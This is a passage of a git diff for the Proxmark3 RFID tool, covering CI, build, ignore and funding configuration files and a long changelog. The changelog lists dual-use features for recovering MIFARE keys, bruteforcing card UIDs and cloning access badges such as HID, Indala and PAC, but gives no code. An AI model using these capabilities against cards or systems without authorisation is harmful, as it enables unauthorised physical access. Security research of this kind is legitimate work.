diff --git a/.coverity.conf.sample b/.coverity.conf.sample new file mode 100644 index 000000000..5caf5d6fb --- /dev/null +++ b/.coverity.conf.sample @@ -0,0 +1,40 @@ +COVLOGIN=myemail@corp.com +COVTOKEN=aAbBcCdDeEfFgGhHiIjJkK +# Toolchain available at https://scan.coverity.com/download +COVBINDIR="/opt/cov-analysis-linux64-2019.03/bin" +# Nickname included in scan description: +NICKNAME=myself +# cov can't read gcov from gcc > 7 +HOSTCC=gcc-7 +HOSTCXX=g++-7 +HOSTLD=g++-7 + +# Do not change it: +COVDIR=cov-int + +# Depending if your kernel > 4.8.x, you might need to activate this to run Coverity executables +# (but latest tools with kernel 5.2 run fine) +#sysctl vsyscall=emulate + +export PATH="$PATH:$COVBINDIR" + +function pre_build_hook() { + # tmp dir will be /tmp/cov-$username/ + # It's the good place if you need to redirect to elsewhere with a symlink + return 0 +} + +function post_build_hook() { + return 0 +} + +function pre_submit_hook() { + return 0 +} + +function post_submit_hook() { + # Clean up build folders? + rm -rf "$COVDIR" + echo "Coverity build cleaned" + return 0 +} diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 000000000..ceee38f85 --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,12 @@ +# These are supported funding model platforms + +github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] +patreon: iceman1001 +open_collective: # Replace with a single Open Collective username +ko_fi: # Replace with a single Ko-fi username +tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel +community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry +liberapay: # Replace with a single Liberapay username +issuehunt: # Replace with a single IssueHunt username +otechie: # Replace with a single Otechie username +custom: ["https://www.paypal.me/iceman1001"] diff --git a/.gitignore b/.gitignore index bad050e8f..1b352bcfe 100644 --- a/.gitignore +++ b/.gitignore @@ -3,8 +3,14 @@ .history .bash_history +.bash_profile +.bash_logout +.bashrc +.inputrc +.profile *.log *.eml +*.html *.o *.a *.d @@ -15,12 +21,15 @@ *.dll *.moc.cpp *.z +*.gz *.Td *.DS_Store *.exe *.dsym version.c *.json +*.old +*.swp # new build file for add-ons. Makefile.platform @@ -30,10 +39,13 @@ Makefile.platform !client/hardnested/*.bin !client/hardnested/tables/*.z client/ui/ui_overlays.h +client/reveng/bmptst hardnested_stats.txt proxmark3 +proxmark3-flasher flasher +!flasher/ lua luac fpga_compress @@ -61,10 +73,13 @@ client/traces/* armsrc/TEMP EMV/* tools/mf_nonce_brute/* tools/andrew/* +tools/jtag_openocd/openocd_configuration ppls patches/* *- Copy.* -client/lualibs/mf_default_keys.lua +client/lualibs/mfc_default_keys.lua client/lualibs/pm3_cmd.lua # recompiled fpga_version_info.c + +.proxmark3/* diff --git a/.travis.yml b/.travis.yml index be68e761a..5aee2a918 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,51 +1,70 @@ # Travis-CI Build for RfidResearchGroup/Proxmark3 language: c -#default linux build env is: Ubuntu 14.04 trusty +#default linux build env is: xenial compiler: gcc +# move some env variables to homebrew env +env: + global: + - HOMEBREW_TRAVIS_BRANCH=$TRAVIS_BRANCH + - HOMEBREW_TRAVIS_COMMIT=$TRAVIS_COMMIT + # Test on Linux and MacOS matrix: include: -# - os: osx -# osx_image: xcode7.3 # OS X 10.11 -# - os: osx -# osx_image: xcode8.3 # OS X 10.12 -# - os: osx -# osx_image: xcode9 # OS X 10.13 - os: osx - osx_image: xcode9.1 # OS X 10.13.1 + osx_image: xcode11 + env: MAKE_PARAMS='PLATFORM_EXTRAS=' + - os: osx + osx_image: xcode11 + env: MAKE_PARAMS='PLATFORM_EXTRAS=BTADDON' - os: linux - dist: trusty + dist: xenial sudo: required + env: MAKE_PARAMS='PLATFORM_EXTRAS=' + - os: linux + dist: xenial + sudo: required + env: MAKE_PARAMS='PLATFORM_EXTRAS=BTADDON' + +addons: + apt: + packages: + - gcc-arm-none-eabi + - libnewlib-dev + - libsndfile1-dev + homebrew: + packages: + - readline + - libsndfile + - qt5 + - RfidResearchGroup/proxmark3/arm-none-eabi-gcc + taps: RfidResearchGroup/proxmark3 +# update trick to fix https://travis-ci.community/t/macos-build-fails-because-of-homebrew-bundle-unknown-command/7296/14 + update: true before_install: -## Install ARM toolchain on Linux. -## add our homebrew tap for MacOS -## Note: all dependencies on MacOS should be resolved by the brew install command - if [[ "$TRAVIS_OS_NAME" == "linux" ]]; then - sudo apt-get update -qq; - sudo apt-get install -y gcc-arm-none-eabi; - elif [[ "$TRAVIS_OS_NAME" == "osx" ]]; then - brew update; - brew tap RfidResearchGroup/proxmark3; + # bug? + # homebrew update replaced python2.7 by python3.7 but + # python3 link failed while python@2 still present, so let's do it again: + if [ "$TRAVIS_OS_NAME" == "osx" ]; then + brew link --overwrite python; fi install: - if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then - brew info proxmark3; - brew options proxmark3; - brew install --HEAD proxmark3; - elif [[ "$TRAVIS_OS_NAME" == "linux" ]]; then - make all; + if ! arm-none-eabi-gcc -v; then + echo "arm-none-eabi-gcc [ERROR]"; + travis_terminate 1; fi + + make clean; + make all V=1 "$MAKE_PARAMS"; -before_script: - -script: +script: ## start and run a test script - if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then - proxmark3 -h ; - elif [[ "$TRAVIS_OS_NAME" == "linux" ]]; then - ./client/proxmark3 -h ; - fi \ No newline at end of file + if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then + ./pm3test.sh; + elif [[ "$TRAVIS_OS_NAME" == "linux" ]]; then + ./pm3test.sh; + fi diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 000000000..20b68be0e --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,27 @@ +{ + // See https://go.microsoft.com/fwlink/?LinkId=733558 + // for the documentation about the tasks.json format + "version": "2.0.0", + "tasks": [ + { + "label": "build", + "type": "shell", + "command": "make clean && make all -j$(nproc --all)", + "problemMatcher": [ + "$gcc" + ] + }, + { + "label": "flash fullimage", + "type": "shell", + "command": "sudo ./pm3-flash-fullimage", + "problemMatcher": [] + }, + { + "label": "FLASH BOOTROM", + "type": "shell", + "command": "sudo ./pm3-flash-bootrom", + "problemMatcher": [] + } + ] +} \ No newline at end of file diff --git a/CHANGELOG.md b/CHANGELOG.md index de1f4f293..95d7ce2e6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,282 +3,480 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] - - Change: updates to README (@iceman) - - Change: hf mf/mfu dbg => hw dbg (@doegox) + - Change `hf search` - now continue to search in case of dual tech cards (@iceman1001) Thanks to @ikarus23 for the suggestion! + - Added `hf topas info` - old reader command, now also prints NDEF (@iceman1001) + - Change `hf topaz reader` - now only prints lighter info, like UID. (@iceman1001) + - Change `hf iclass readtagfile` - improved param handling (@iceman1001) + - Change `hf mfu ndef` - text record now correctly decode language code and test (@iceman1001) Thanks to @bettse! + - Updated the helptexts for `hf iclass` commands (@iceman1001) + - Fix NDEF TLV lock / memory parsed correct (@merlokk) + - Change `mem spiffs` commands now parse h param correct (@iceman1001) + - Add colour to `hf mf chk` and `hf mf fchk` (@dunderhay) + - Change - updated public keys info (@bkerler) + - Change - mfc default keys removed dublicates (@iceman1001) + . Change - mfc default keys got new entries found on TagInfo app (@bkerler) + - Added `hf mfu ndef` - read and decode NDEF Type2 messages (@iceman1001) + - Added `data ndef` - decode NDEF messages (@iceman1001) + - Change - usb write's now waits for shiftregisters (@pwpiwi) + - Change - NDEF supports more signatures now (@iceman1001) + - OSX Makefile now supports `make style` and `make checks` (@Pizza_4u) + - Added `HF_LEGIC` standalone mode to read and simulate a Legic prime tag (@Pizza_4u) + - Added keri MS decode/encode and update 'lf keri clone' to support MS fc/cid cloning. (@mwalker33) + - Fix 'hf mfdes enum' - now actually manages to enumerate files under all AID's. :smiley: (@iceman1001) + - Fix 'hf mfdes info' - now detects DESFire light and work properly Wrapped commands :+1: (@iceman1001) + - :smiling_imp: support (@doegox) + - Additional colour changes as recommended by @iceman (@dunderhay) + - Change type colour for `hf 14a` card types (@dunderhay) + - Add colour to `hf mfdes` command (@dunderhay) + - Add 'HINTS' command. Will turn off / on hint messages. Default mode is OFF. (@iceman1001) + - Add colour to `hf 14a` and `hf mfu` commands (@dunderhay) + - Add colour to `lf hid` commands (@dunderhay) + - Change `script run hf_bruteforce -s start_id -e end_id -t timeout -x mifare_card_type` - The hf_bruteforce card script now requires Mifare type (mfc or mfu) (@dunderhay) + - Updated `hf_bruteforce.lua` script - added support for brute forcing Mifare Ultralight EV1 cards (@dunderhay) + - Added `hf mf personlize` - personalize the UID of a Mifare Classic EV1 card (@pwpiwi) + - Change - hint texts added to all lf clone commands (@iceman1001) + - Change `lf keri demod` - adjusted the internal id. (@mwalker33) + - Added seamless integration with cryptohelper (@iceman1001) + - Change `lf hid brute` - new params for direction (UP/DOWN); textual and main loop actually exit. (@capnkrunchy and @iceman1001) + - Fix `lf hid brute` - made it work again (@capnkrunchy) + - Fix standalone mode HF_MATTYRUN - correct logic when all keys found in printing. partial fix (@iceman1001) + - Change static nonce detection got tighter (@iceman1001) + - Improved termux notes (@msoose) + - Fix `hf mf autopwn` - works on debian 10 *nix. Bad exit commands in hardnested (@iceman1001) + - Fix `hf mf hardnested` - bad mutex strategies (@msoose) + - Change `lf hitag` - now obeys `lf config` (@iceman1001) + - Ported all python 2 scripts to python 3 (@doegox and @sigwinch28) + - Removed undefined exit behaviour from `analyzesize` tool: it now exits with code 2 when called with wrong args (@sigwinch28) + - Replaced shebangs in scripts with more portable versions which use `/usr/bin/env` (@sigwinch28) + - Added `hf lto restore` - restore LTO cartridge memory from dump file [.bin|.eml] (@Kevin-Nakamoto) + - Added `LF_ICEHID` standalone mode which searches for lf HID credentials and store to RDV4 flashmem (@iceman1001) + - Added `HF_14ASNIFF` standalone mode with storing trace to RDV4 flashmem (@micolous) + - Added `hf lto dump` - dump 8160 bytes of data from LTO cartridge memory and save to file (@Kevin-Nakamoto) + - Change `data plot` - write serial port name in window title for plot / slider window (@iceman1001) + - Added `hf lto wrbl` - write block support for LTO Cartridge memory (@Kevin-Nakamoto) + - Fix compilation under openSUSE (@hsanjuan) + - Added `lf nexwatch sim` - use raw hex to simulate (@iceman1001) + - Fix `lf indala read` - long id 224bits preamble identification less strict (@iceman1001) + - Added `hf mf staticnested` - useful when targeting the strange cards with a static nonce. (@iceman1001) Thanks to @xtigmh @uzlonewolf for their solutions. + - Added `hf plot` (@pwpiwi) + - Fix `lf config` - when called with no params, it no longer mess up all device lf config settings. (@iceman1001) + - Change `lf indala clone` - new option `--Q5` writes to q5/T5555 tags. (@iceman1001) + - Change `lf indala clone` - new option `-c ` allows cloning INDALA tag from Heden2L/Hedengren ID format (@iceman1001) - Thanks to @randomdude42 for solution + - Change `lf indala demod` - added decode Heden2L/Hedengren format (@iceman1001) - Thanks to @randomdude42 for solution + - Added `commands.md` - document with all proxmark client commands. Generated with XX_internal_command_dump_markdown_XX. (@iceman1001) + - Change `lf pac clone` - new option `c ` to allow cloning PAC/Stanley tag from card ID (@danshuk) + - Change `lf pac read` - decoded PAC/Stanley card ID (@danshuk) + - Change mifare classic keytable output refactored and uses colors (@iceman1001) + - Fix `hf mf nested` - now writes the correct blockno (@iceman1001) + - Change `lf t55xx dump` - now supports saving to JSON (@iceman1001) + - Change `hf mf chk | fchk` faster authentication by lower timeout limit. (@pwpiwi) + - Change `hf mf hardnested` - now detects "static / fixed" nonce tags and exits (@iceman1001) + - Change `hf mf csave` - now uses UID in filename (@iceman1001) + - Fix `hf mf chk` - read block B logical error. #489 (@iceman1001) + - Added `hf mf ekeyprn d` - new parameter to save keys to file (@iceman1001) + - Added `mfu_magic.lua` - script to interact with your magic NTAG tag. (@iceman1001) + - Added `hf_bruteforce.lua` - script bruteforces uid for 14a using hf 14a sim (@keld) + - Added `tools\pm3_cs8.pl` - convert .pm3 files to wave format (@samyk) + - Added `tools\pm3_amii_bin2eml.pl` - amiibo convering script (@samyk) + - Change `hf 14a info` - now detects "static / fixed" nonce tags (@iceman1001) + - Change `data save f w` - params reworked. (@iceman1001) + - Change `hf search` - now should detect LTO-CM tags (@iceman1001) + - Added `hf lto info` - skeleton support for LTO Cartridge memory (@iceman1001) + - Added saving as wave format (@anon) + - Added ISO15_WRITE annotation (@pwipiw) + - Added `lto_dump.lua` @kevin + - Added `hf mf cwipe` magic chinese card (gen1a) wipe to default state (@merlokk) + - Added `pm3_mf7b_wipe.py` python script. Wipes magic S70 7B Gen2 card. (@vulnersCom) + - Added `hf mfp chk` Mifare plus command for check keys from public keys list, from dictionary or 1 and 2-byte bruteforce (@merlokk) + - Change `hf 15` - some refactoring (@grspy) + - Added `hf 15 writeafi` and `hf 15 writedsfid` (@grspy) + - Added detailed info for SLIX2 tags in `hf 15 info` (@grspy) + - Fix `hf list felica` and `hf felica sniff` (@7homasSutter) + - Added `hf felica wrunencrypted` (@7homasSutter) + - Added `hf felica rdunencrypted` (@7homasSutter) + - Added `hf felica rqresponse` (@7homasSutter) + - Added `hf felica rqservice` (@7homasSutter) + - Added polling for felica standard (@7homasSutter) + - Added `lf t55xx dump save` and `lf t55xx restore` for .bin and .eml files (@mwalker33) + - Added `lf t55xx detected` to try without password first (@mwalker33) + - Change `lf indala read` - added indala 26bit decoding (@martinbeier) + - Change `lf t55xx detect` to try without password first (@mwalker33) + - Display high bit for detected Kastle HIDs to allow `lf hid clone [id]` to work properly (@swg0101) + - Added option `-n` to scripts pm3* (@doegox) + - Added `wiegand list/encode/decode` - wiegand format manipulation. Adapted to fit here. (@grauerfuchs) + - Added support for color text on windows 10 (@mwalker33) + - Added `s` to `lf config` / `lf sniff` to skip samples when sniffing based on same option in Proxmark/proxmark3 by @marshmellow42. (@mwalker33) + - Added save to .eml and .bin for `em 4x05_dump` (@mwalker33) + - Added option `-n` to scripts pm3* (@doegox) + - Fix `em 4x05_dump` to print all blocks read (@mwalker33) + - Fix T55xx config getting displayed when using password when no password needed on read. (@mwalker33) + - Added T55x7 downlink mode auto usage via mode detected (lf t55 detect) (@mwalker33) + - Added `lf t55xx protect` - sets password and enables password protection on t55x7 tag (@iceman1001) + - Change `lf t55xx wipe` - now accepts user provided configuration block (@iceman1001) + - Added T55x7 downlink mode support r 0 Default, 1 Long Leading 0, 2 Leading 0, 3 1 of 4 and 4 (in some commands) try all. (@mwalker33) + - Change proxmark3-flasher is now merged into proxmark3 client. Add pm3-flash (@doegox) + - Change `hf iclass clone\dump\rdbl\wrbl` - now uses NG (@iceman1001) + - Fix `hf iclass clone` - last block always fails (@iceman1001) + - Change `hf iclass clone` - retries ten times, less output (honor verbose) (@iceman1001) + - Change `hf iclass dump` - retries ten times, less output (honor verbose) (@iceman1001) + - Rename `hf iclass writeblk` -> `hf iclass wrbl` to match hf mf wrbl (@iceman1001) + - Rename `hf iclass readblk` -> `hf iclass rdbl` to match hf mf rdbl (@iceman1001) + - Added cmdscript example and show usage with shebang (@doegox) + - Added instructions for Fedora (@doegox) + - Change reduce the list of requirements to the minimum and move to QT5 (@doegox) + - Added `make install` and reorganize/rename stuffs accordingly (@doegox) + - Added searchFile for several types of files (@doegox / @iceman1001) + - Change posix sh version of mkversion (@doegox) + - Change remove entirely ncurses, not needed nowadays (@doegox) + - Change remove deprecated termcap, use ncurses instead (@ZeroChaos-) + - Change `hf iclass encrypt` - now takes transport key as param. (@iceman1001) + - Change `hf iclass decrypt` - now takes transport key as param. (@iceman1001) + - Change `hf mf fchk m` - now secretly dumps card to emul, if all keys are found (@iceman1001) + - Change history and logfile are now saved into $HOME/.proxmark3/ (@doegox) + - Change optimization of iclass mac calculations on deviceside (@pwpiwi) + - Added `hf mf autopwn` - Autopwn function for Mifare Classic, extract all keys and dump card memory (@matthiaskonrath) + - Added Lua paths: look for scripts also in ~/.proxmark/lua{scripts,libs} and /usr/local/share/proxmark3/lua{scripts,libs} (@doegox) + - Change Lua directory scripts/ to luascript/ (@doegox) + - Change non-rdv4 PLATFORM must now use the generic PM3OTHER, simpler (@doegox) + - Fix reveng integration for all platforms else than WIN32 (@doegox) + - Added cheat sheet for easy operations of the Proxmark3 (scund00r) + - Chg commands are now in green in the helptext list (@iceman1001) + - Fix `script run ndefdump` - better exit messages when failing (@iceman1001) + - Fix `hf iclass dump` - now also saves in EML format (@iceman1001) + - Fix `hf iclass sim 3` - now works on legacy readers and legacy SE readers (@iceman1001) + - Rework hitag2 read/write help (@ViRb3) + - Added `lf nedap` - encoding / decoding (anon) + - Added client option `-i` to stay in interactive mode after a script or command (@DidierStevens/@doegox) + - Added VSCode tasks (@ViRb3) + - Better warn user of hardcoded hitag info (@ViRb3) + - Format and docs hitag (@ViRb3) + - Fix hitag password write offset by 1 (@ViRb3) + - Fix momentarily flash read/write of dicts (@doegox/@cjbrigato) + - Added some more default keys (@anon) + - Added `hf thinfilm sim` simulating Thinfilm NFC barcode tags (@doegox) + - Added `hf thinfilm list` specific trace decoding (Thinfilm NFC barcode tags) (@doegox) + - Fix `hf topaz reader` - don't crash when trying to read a Thinfilm tag (@iceman1001) + - Added `hf thinfilm info` - read / decode Kovio Thinfilm NFC barcode tags (@iceman1001) + - Added FPGA LF adc path (@anon) + - Added ECC support / check for NID_secp128r1 (@pwpiwi) + - Added some more default keys (ollibolli) + - Fix T55x7 Downlink timings backward compatible (@mwalker33) + - Added proper Makefile halting when using incompatible STANDALONE and PLATFORM vars (@doegox) + - Added T55x7 Downlink mode support (@mwalker33) + - Added SPIFFS Flash filesystem support (@cjbrigato) + - Fix support for flashing 512K units with old bootrom (@slurdge/@doegox) + - Fix `hf mf sim` - wrong access rights to write key B in trailer (@McEloff) + - Added option -i to flasher to query Pm3 for its memory size (@doegox) + - Added support for flashing 512K units (@slurdge) + - Added a simple python tool to check the elf sizes (@slurdge) + - Change: new keys for Vigik badges in default_keys.dict (@luminouw) + - Added `hw standalone` to jump to standalone mode from command line or script (@doegox) + - Added to `hf 14a apdu` print apdu and compose apdu (@merlokk) + - Change: buggy `mem read` removed, `mem save` renamed `mem dump`, can now display too (@doegox) + - Fix: timeout for mem wipe was too short, thanks @cjbrigato (@doegox) + - Fix `hf mf sim` - Mifare Classic simulation more flexible anti-collision check (@McEloff) + - Change: `hf mf sim` - Mifare Classic simulation not respond NACK on invalid authentication request (@McEloff) + - Change: `read_pwd_mem.lua` now handles Mifare Classic dictionaries large than 4096 bytes (@iceman1001) + - Change: Do not clear trace log during `hf mf chk`, to save whole process history (@McEloff) + - Added `msleep` command, for pauses in scripts (@doegox) + - Added support for WSL in proxmark.sh (@doegox) + - Added documentation for usage of Proxmark3 under WSL (@doegox) + - Change: replace aes.c with mbedtls version (@slurdge) + - Change: replace ukbhit by kbd_enter_pressed, not requiring tcgetattr (@xianglin1998/@doegox) + - Added config for RaspberryPi in JTAG tools (@doegox) + - Added config for FTDI C232HM-DDHSL-0 in JTAG tools (@doegox) + - Fix compilation under MacOSX with binutils (@matrix) + - Added dynamic report of the chipID for flashing purposes (@slurdge) + - Fix Clang warnings (@matrix) + - Fix EMVGPO bug (@matrix) + - Added hitag2 write password auth (@ViRb3) + - Added check if bootloader segment is within bounds (@slurdge) + - Added `hf 15 csetuid` - set UID on ISO-15693 Magic tags (@t0m4-null) + - Change: Print help if unknown arg for hitag reader/writer (@ViRb3) + - Fix clock deadlock in hitag sniff (@ViRb3) + - Added compiler info in client & ARM sections (@slurdge) + - Added support for automatic COM detection on Windows (@slurdge) + - Added support for compilation on RaspberryPiZero (armv6) (@doegox) + - Change: updates to README (@iceman1001) + - Change: `hf mf/mfu dbg` => `hw dbg` (@doegox) - Change: replace usb_poll_validate_length() by data_available() that supports USART too (@doegox) - Make sure standalone modes can be launched when connected on USB without client (@doegox) - - Change: cleaner makefile execution, use 'make V=1' if you want to see full lines (@doegox) + - Change: cleaner makefile execution, use `make V=1` if you want to see full lines (@doegox) - Change: automate make clean when platform definitions are changed (@doegox) - - Add STANDALONE option to Makefile.hal (@Fl0-0) - - Change: mem info - production public key to verify rdv4.0 flash signature (@iceman) + - Added STANDALONE option to Makefile.hal (@Fl0-0) + - Change: mem info - production public key to verify rdv4.0 flash signature (@iceman1001) - Fix specify that we need TCP and not UDP connection (@phcoder) - - Change: lf cotag demod - adjusted error trigger (@iceman) - - Add documentation on BT add-on (@iceman/@doegox) + - Change: lf cotag demod - adjusted error trigger (@iceman1001) + - Added documentation on BT add-on (@iceman1001/@doegox) - Change: new button behaviour in bootloader mode, no need to keep it pressed, press again to interrupt (@doegox) - - Change: new keys in dicts, new mem layout to accomodate them (@iceman/various) - - Fix lf sim - if called with empty graphbuffer all strange things happend, like turning on HF field (@iceman) + - Change: new keys in dicts, new mem layout to accomodate them (@iceman1001/various) + - Fix lf sim - if called with empty graphbuffer all strange things happend, like turning on HF field (@iceman1001) - Change: hf 14a sim / hf mf sim - check buttonpress/usb frame fewer times in order not to disrupt simulation (@McEloff) - - Change: data convertbitstream - converts bit to max/min in order to facilitate demodulation of simulation data (@iceman) - - Change: lf em 410x_demod - now can demod the simulation data (@iceman) - - Add HC-06 scripts for BT add-on (@doegox) - - Fix lf nedap sim - error when adding parity (@iceman) - - Add documentation on UART and baudrates (@doegox/@iceman) - - Change: prompt now shows which channel is used (@iceman) - - Change: USART baudrates computation, up to 6Mbps (@iceman/@doegox) + - Change: data convertbitstream - converts bit to max/min in order to facilitate demodulation of simulation data (@iceman1001) + - Change: lf em 410x_demod - now can demod the simulation data (@iceman1001) + - Added HC-06 scripts for BT add-on (@doegox) + - Fix lf nedap sim - error when adding parity (@iceman1001) + - Added documentation on UART and baudrates (@doegox/@iceman1001) + - Change: prompt now shows which channel is used (@iceman1001) + - Change: USART baudrates computation, up to 6Mbps (@iceman1001/@doegox) - Change: hf mf nack - keep sync if started without card over antenna - - Add usart btfactory - to reset a misconfigured BT add-on (@doegox) - - Change: hw status - now prints number of dictionary keys loaded (@iceman) - - Add home, end, pageup, and pagedown keybinds to the plot GUI. Also fix paged movement in GUI. (@mcd1992) - - Change legic.lua saves data in EML and BIN formats (@iceman) + - Added usart btfactory - to reset a misconfigured BT add-on (@doegox) + - Change: hw status - now prints number of dictionary keys loaded (@iceman1001) + - Added home, end, pageup, and pagedown keybinds to the plot GUI. Also fix paged movement in GUI. (@mcd1992) + - Change legic.lua saves data in EML and BIN formats (@iceman1001) - Change hf tune - is now synchronous (for BT add-on) and can be interrupted by kbd (@doegox) - Change: update macOS install instruction (@ Uli Heilmeier) - - Add trace ouput in hexdump format for Wireshark import (@ Uli Heilmeier) - - Add usart btpin - to change BT add-on PIN (@doegox) - - Add reconnection support (@iceman/@doegox) - - Add usart tx/rx/... - USART developer commands (@doegox) - - Add PLATFORM_EXTRAS, WITH_FPC_USART_HOST, BTADDON Makefile configuration (@doegox) - - Fix slow reconfigure on mingw of serial port (@iceman) - - Fix cross thread communictions of timeout variable (@iceman) + - Added trace ouput in hexdump format for Wireshark import (@ Uli Heilmeier) + - Added usart btpin - to change BT add-on PIN (@doegox) + - Added reconnection support (@iceman1001/@doegox) + - Added usart tx/rx/... - USART developer commands (@doegox) + - Added PLATFORM_EXTRAS, WITH_FPC_USART_HOST, BTADDON Makefile configuration (@doegox) + - Fix slow reconfigure on mingw of serial port (@iceman1001) + - Fix cross thread communictions of timeout variable (@iceman1001) - Change: client is now "universal", adapting to Proxmark3 capabilities (@doegox) - - Add disconnect support to Lua (@iceman) + - Added disconnect support to Lua (@iceman1001) - Change: handles FPC/FLASH FW more gracefully on non-RDV4 pm3 (@doegox) - - Add JTAG support for Shikra (@NinjaStyle82) + - Added JTAG support for Shikra (@NinjaStyle82) - Change: smart color handling: only if linux and on real term (@doegox) - - Change: reconfigure uart timeouts when compiled for FPC and connecting over USB (@iceman) - - Change: fast push for many commands (@iceman/@doegox) - - Add: fast push for Lua (@iceman) - - Add NDEF parser in Lua (@iceman) - - Change: improve NDEF parser (@iceman) - - Change: all commands got migrated to MIX/NG packet format (@iceman/@doegox) + - Change: reconfigure uart timeouts when compiled for FPC and connecting over USB (@iceman1001) + - Change: fast push for many commands (@iceman1001/@doegox) + - Added: fast push for Lua (@iceman1001) + - Added NDEF parser in Lua (@iceman1001) + - Change: improve NDEF parser (@iceman1001) + - Change: all commands got migrated to MIX/NG packet format (@iceman1001/@doegox) - Fix: Mifare Ultralight read block missing bytes (@doegox) - - Add support new frame format in all Lua scripts (@iceman) - - Add CMD_CAPABILITIES for pm3 to inform dynamically the client (@doegox) - - Change baudrate handling, make it clear it's only indicative for USB-CDC & BT (@doegox) - - Change: new progressive light scheme for 'hw detectreader' (@doegox) - - Add common error definitions system for retvals (@doegox) + - Added support new frame format in all Lua scripts (@iceman1001) + - Added CMD_CAPABILITIES for pm3 to inform dynamically the client (@doegox) + - Change baudrate handling, make it clear it is only indicative for USB-CDC & BT (@doegox) + - Change: new progressive light scheme for `hw detectreader` (@doegox) + - Added common error definitions system for retvals (@doegox) - Change USART RX & TX code and fix delays handling to make it more robust, especially over BT (@doegox) - - Add support for new frames format, speedup & huge changes, see doc/new_frame_format.txt (@doegox) + - Added support for new frames format, speedup & huge changes, see doc/new_frame_format.txt (@doegox) - Change: loadFile* & saveFile* accept filenames with (or still without) extension (@doegox) - Fix LoadEML to accept final "\n", e.g. from pm3_mfd2eml.py (@doegox) - Change: rework shell scripts for easy client or flasher (@doegox) - Fix: stop poking Internet when compiling (@doegox) - - Add support for multiple commands to "-c", e.g. proxmark3 -c "hw ping;hw version" (@doegox) + - Added support for multiple commands to "-c", e.g. proxmark3 -c "hw ping;hw version" (@doegox) - Fix external flash writing bitflips issues at 24MHz (@doegox) - - Add color support to Dbprintf & alike and rework Dbprintf flags (@doegox) + - Added color support to Dbprintf & alike and rework Dbprintf flags (@doegox) - Change: archive (and fix) hid-flasher (@doegox) - - Add standalone placeholder to simplify new standalone integration (@doegox) - - Change: refactor standalone mode info string (@iceman) - - Add iceman skeleton standalone mode for ppl to use as base for their new modes (@iceman) + - Added standalone placeholder to simplify new standalone integration (@doegox) + - Change: refactor standalone mode info string (@iceman1001) + - Added iceman skeleton standalone mode for ppl to use as base for their new modes (@iceman1001) - Change: move compilation options to Makefile.hal (@doegox) - - Fix compilation under OSX (@iceman) - - Add openocd config files for JLink (@doegox) + - Fix compilation under OSX (@iceman1001) + - Added openocd config files for JLink (@doegox) - Fix compilation dependencies for recovery (@doegox) - Fix segfault when loading a file (@doegox) - Change/Add new dump format for Ultralight/NTAG, counters support, simulation (@mceloff) - - Add 'hf mf sim' full-byte split anticollision support (@mceloff) - - Fix/Add 'hf mf sim' bugs fix, RATS support, etc (@mceloff) + - Added `hf mf sim` full-byte split anticollision support (@mceloff) + - Fix/Add `hf mf sim` bugs fix, RATS support, etc (@mceloff) - Fix serial of FPC. (@ryan) - - Fix 'data shiftgraphzero' corrupting end of GraphBuffer (@doegox) - - Fix 'hf legic info' - unsegmented card now uses card size to calc remaining length (@iceman) - - Add 36bit HID format, extend calcWiegand() to include oem bits ((@davidbeauchamp) - - Fix 'hf mf hardnested' - not verify key when reading nonce file (@iceman) - - Change optimizations for ask/bi (@iceman) - - Fix 'hf mf sim' - bugs fix, refactoring (@mceloff) - - Add WRITE and COMPATIBLE_WRITE support to Mifare Ultralight/NTAG simulation (@mceloff) + - Fix `data shiftgraphzero` corrupting end of GraphBuffer (@doegox) + - Fix `hf legic info` - unsegmented card now uses card size to calc remaining length (@iceman1001) + - Added 36bit HID format, extend calcWiegand() to include oem bits (@davidbeauchamp) + - Fix `hf mf hardnested` - not verify key when reading nonce file (@iceman1001) + - Change optimizations for ask/bi (@iceman1001) + - Fix `hf mf sim` - bugs fix, refactoring (@mceloff) + - Added WRITE and COMPATIBLE_WRITE support to Mifare Ultralight/NTAG simulation (@mceloff) - Change installation instructions and add video links (@5w0rdfish) - - Change 'hf mf sim' to support more types (@vratiskol) - - Change better strong wave detection for biphase (@iceman) - - Add 'script run test_t55x7' (@iceman) - - Add new lua scripting support for some t55xx commands (@iceman) - - Add FPC USART for BT add-on with pm3 client. (@doegox) - - Add '-b baudrate' option to the pm3 client. (@doegox) - - Change 'lf t55xx info': tell if known configuration block0. (@iceman) + - Change `hf mf sim` to support more types (@vratiskol) + - Change better strong wave detection for biphase (@iceman1001) + - Added `script run test_t55x7` (@iceman1001) + - Added new lua scripting support for some t55xx commands (@iceman1001) + - Added FPC USART for BT add-on with pm3 client. (@doegox) + - Added `-b baudrate` option to the pm3 client. (@doegox) + - Change `lf t55xx info`: tell if known configuration block0. (@iceman1001) - Fix/Add FPC usart: fix TX, bring RX, full speed. (@doegox) - - Change 'lf t55xx config' options: allow to toggle on/off i/q5/st - - Change 'lf t55xx info': support offline block0, Q5, fix extended, add warns. (@doegox) + - Change `lf t55xx config` options: allow to toggle on/off i/q5/st + - Change `lf t55xx info`: support offline block0, Q5, fix extended, add warns. (@doegox) - Avoid race condition when flasher finds the not yet closed pm3 port. (@doegox) - - Fix 'lf t55xx trace': read the proper block. (@doegox) + - Fix `lf t55xx trace`: read the proper block. (@doegox) - Fix Indala 64 on T55xx: use PSK1. (@doegox) - Force proper Linefeed (LF) handling in ProxSpace. (@vratiskol) - - Fix Makefiles race conditions to allow parallel compilation, e.g. 'make -j8'. (@doegox) - - Add - dictionary key file for MFU. (not in use at the moment) (@mazodude) - - Change 'lf fdx demod - better biphase maxerrors. (@MalteHillmann) - - Change 'hf mf sim' - now works better against android (@mceloff) - - Fix 'lf t55xx brute' - now works after aquiredata adaptations (@iceman) - - Fix 'lf t55xx chk' - now works after aquiredata adaptations (@iceman) - - Fix 'lf t55xx 